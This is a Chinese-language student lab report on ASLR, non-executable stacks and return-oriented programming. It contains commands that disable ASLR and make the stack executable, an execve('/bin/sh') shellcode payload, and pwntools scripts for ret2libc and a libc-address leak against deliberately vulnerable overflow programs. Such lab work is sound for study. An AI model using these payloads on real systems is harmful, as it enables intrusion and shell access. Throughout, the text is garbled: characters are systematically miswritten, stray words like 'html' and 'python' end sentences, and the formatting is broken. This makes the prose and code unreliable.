ASLR,全称为 Address Space Layout Randomization,地址空间布局随机化,它将进程的某些内存空间地址进行随机化来增大入侵者预测目的地址的难度,从而下降进程被成功入侵的风险。简而言之,就是在运行程序时经过随机化栈地址,从而减低攻击者猜想到关键代码运行地址的可能,下降被攻击的风险。
Linux 平台上 ASLR 分为 0,1,2 三级,用户能够经过一个内核参数 randomize_va_space 进行等级控制。它们对应的效果以下:
0:没有随机化。即关闭 ASLR。
1:保留的随机化。共享库、栈、mmap() 以及 VDSO 将被随机化。
2:彻底的随机化。在 1 的基础上,经过 brk() 分配的内存空间也将被随机化。html
用一个简单的代码演示一下ALSR对栈地址的影响,代码以下:python
#include <stdio.h> int main() { int a = 1; printf("Address of a is %p, in stack\n", &a); return 0; }
编译运行(这里个人Linux系统默认开启了地址随机化);查询和开启地址随机化的命令:linux
echo "2" > /proc/sys/kernel/randomize_va_space more /proc/sys/kernel/randomize_va_space
结果入下图:git
经过使被攻击程序的数据段地址空间不可执行,从而使得攻击者不可能执行被植入被攻击程序输入缓冲区的代码,这种技术被称为非执行的缓冲区技术,即堆栈不可执行。实际上,绝大多数合法程序都是设置堆栈数据段不可执行,由于几乎全部合法程序都不会在堆栈中存放代码,这样既保证了安全性,又兼顾了程序使用。(演示放在实践内容中)github
而ROP攻击则是利用以ret结尾的程序片断 ,操做这些栈相关寄存器,控制程的流程,执行相应的gadget,实施攻击者预设目标 。shell
与以往攻击技术不一样的是,ROP恶意代码不包含任何指令,将本身的恶意代码隐藏在正常代码中。于是,它能够绕过W⊕X的防护技术。编程
本次试验因为须要用到[ROPgadget](https://github.com/JonathanSalwan/ROPgadget/tree/master)
,因此须要提早安装pip
,capstone
和pwntools
安装命令以下:安全
sudo apt-get update sudo apt-get install pip sudo pip install capstone pip install ropgadget ROPgadget pip install pwntools
安装完成后需重启虚拟机。dom
过程简述:函数
cp pwn1 5313 execstack -s 5313 //设置堆栈可执行 echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
构造一个字符串做为测试输入,寻找进程号,gdb调试找到覆盖地址,构造playload,攻击成功:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode (cat input_shellcode;cat) | ./5313 ps -ef | grep 5313 perl -e 'print "A" x 32;print "\x80\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode (cat input_shellcode;cat) | ./5313
execstack -c 文件名
):
能够看出堆栈不可执行对于溢出攻击有必定的防范效果。
由上文可看出简单的在本来代码中利用堆栈溢出实施攻击的方法已经不可用了,因此咱们利用ROP技术实施攻击。(基础知识里已经简绍了)这里用量组图简单解释一下:
攻击用的缓冲区 | 指向的内容 | 说明 |
---|---|---|
ptr3内存地址3(高地址) | system | |
ptr2内存地址2 | /bin/sh | |
ptr1内存地址1(低地址) | pop %rdi;retq | 覆盖堆栈上的返回地址 |
填充内容 | 这部份内容主要是长度要合适,保证ptr1能覆盖到返回地址 |
gadget_addr
指向的是程序中能够利用的小片断代码
bin_sh_addr
指向的是字符串参数:'/bin/sh'
system_addr
则指向system函数
1.程序运行到gadget_addr
时(esp/rsp
指向gadget_addr
),接下来会跳转到小片断里执行命令,同时``esp/rsp+8(
esp/rsp指向bin_sh_addr) 2.而后执行
pop rdi/edi,将
bin_sh_addr弹入
edi/rdi寄存器中,同时
esp/rsp + 8(
esp/rsp指向
system_addr) 3.执行
return指令,由于这时
esp/rsp是指向
system_addr的,这时就会调用
system函数,而参数是经过
edi/rdi传递的,也就是会将
/bin/sh传入,从而实现调用
system('/bin/sh')```
execstack -c 5313
输入gdb ./5313
以后,开始调试:
由第二步获得的system和/bin/sh的位置,编写payload并注入
#include <stdio.h> #include <string.h> void vul(char *msg) { char buffer[64]; memcpy(buffer,msg,128); return; } int main() { puts("So plz give me your shellcode:"); char buffer[256]; memset(buffer,0,256); read(0,buffer,256); vul(buffer); return 0; }
使用命令gcc -g -ggdb -fno-stack-protector -no-pie a.c -o a
产生可执行文件。这里解释一下:-fno-stack-protector
在gcc编译中表示栈溢出检测。
libc
文件及地址:ldd a
libc
版本为:libc.so.6
libc_base = 0x00007f07ecbf2000
libc.so.6
拷贝到a同级目录:cp /lib/x86_64-linux-gnu/libc.so.6 你的目录ROPgadget --binary a --only "pop|ret"|grep rdi
from pwn import * p = process('./a') p.recvuntil("shellcode:") elf = ELF('libc.so.6') system_in_libc = elf.symbols['system'] #system在libc文件里的偏移地址 #print hex(system_in_libc) bin_sh_in_libc = next(elf.search('/bin/sh')) #/'bin/sh'字符串在libc里的偏移地址 #print hex(bin_sh_in_libc) libc_base = 0x00007f07ecbf2000 #libc加载的基址 gadget_addr = 0x000000000040123b #搜索到的gadget片断的地址 system_addr = libc_base + system_in_libc #system在程序里的地址 bin_sh_addr = libc_base + bin_sh_in_libc #/bin/sh在程序里的地址 print hex(system_addr) +'----'+hex(bin_sh_addr) #布局 buf = 'A'*72 buf += p64(gadget_addr) buf += p64(bin_sh_addr) buf += p64(system_addr) with open('poc','wb') as f : f.write(buf) p.sendline(buf) #开始溢出 p.interactive()
运行python b.py
:
可见攻击失败,推测多是攻击代码有错漏,继续寻找解决方案。
成功获权,上一步未成功缘由多是地址寻找错误。
返回地址return_addr被覆盖为puts@plt地址,当运行到原返回地址位置时,会跳转到puts中执行,同时,esp指向esp+4,这时对puts来讲,它内部的ret(返回地址)执行时esp指针仍是指向esp+4的,也就是esp + 4(main)就是puts函数的返回地址,而esp+8(__libc_start_main@got.plt)则是它的参数。当调用puts时,__lic_start_main做为参数传入,这样咱们就能够得到__libc_start_main在程序中的加载地址,当puts返回时会回到main函数当中,从而实现堆漏洞的二次利用。
objdump -R pwn02
查看__lic_start_main
地址(0x0804bfd8 ):objdump -d pwn02
查找puts@plt
(0x08048868)和main
( 0x80496d1)
from pwn import * r = process('./pwn02') def overflow(data): r.recvuntil('Your choice: ') r.sendline('3') r.recvuntil('):') r.sendline('+') r.recvuntil('):') r.sendline('1 2') r.recvuntil('input your id') r.sendline(data) buf = 'A' * 44 buf += p32(0x08048868) buf += p32(0x080496d1) buf += p32(0x0804bfd8) overflow(buf) r.recvuntil('...\n') leak_message = r.recv(4) print repr(leak_message) leak_value = u32(leak_message) print 'leak_value is ' + hex(leak_value) libc_base =leak_value - 0x000198B0 system_addr = libc_base + 0x0003D7E0 sh_addr = libc_base + 0x0017c968 buf = 'A' * 44 buf += p32(system_addr) buf += p32(0xdeadbeef) buf += p32(sh_addr) overflow(buf) r.interactive()
攻击失败,从新尝试。
此次参考的是:参考资料
漏洞代码:
include <stdio.h> #include <string.h> /* Eventhough shell() function isnt invoked directly, its needed here since 'system@PLT' and 'exit@PLT' stub code should be present in executable to successfully exploit it. */ void shell() { system("/bin/sh"); exit(0); } int main(int argc, char* argv[]) { int i=0; char buf[256]; strcpy(buf,argv[1]); printf("%s\n",buf); return 0; }
反汇编可见,其自己就有可利用的PLT代码(自己不因ALSR发生变化),所以可直接利用其获权。即直接利用一个在执行前就知道地址的获权函数。
自己的水平有限,作出来的结果并非那么合乎要求。但经过此次实践,我仍是收获很多,最重要的是,我逐渐学会了如何独自了解学习本身历来不了解的的知识,这对个人帮助无疑是最大的,继续努力。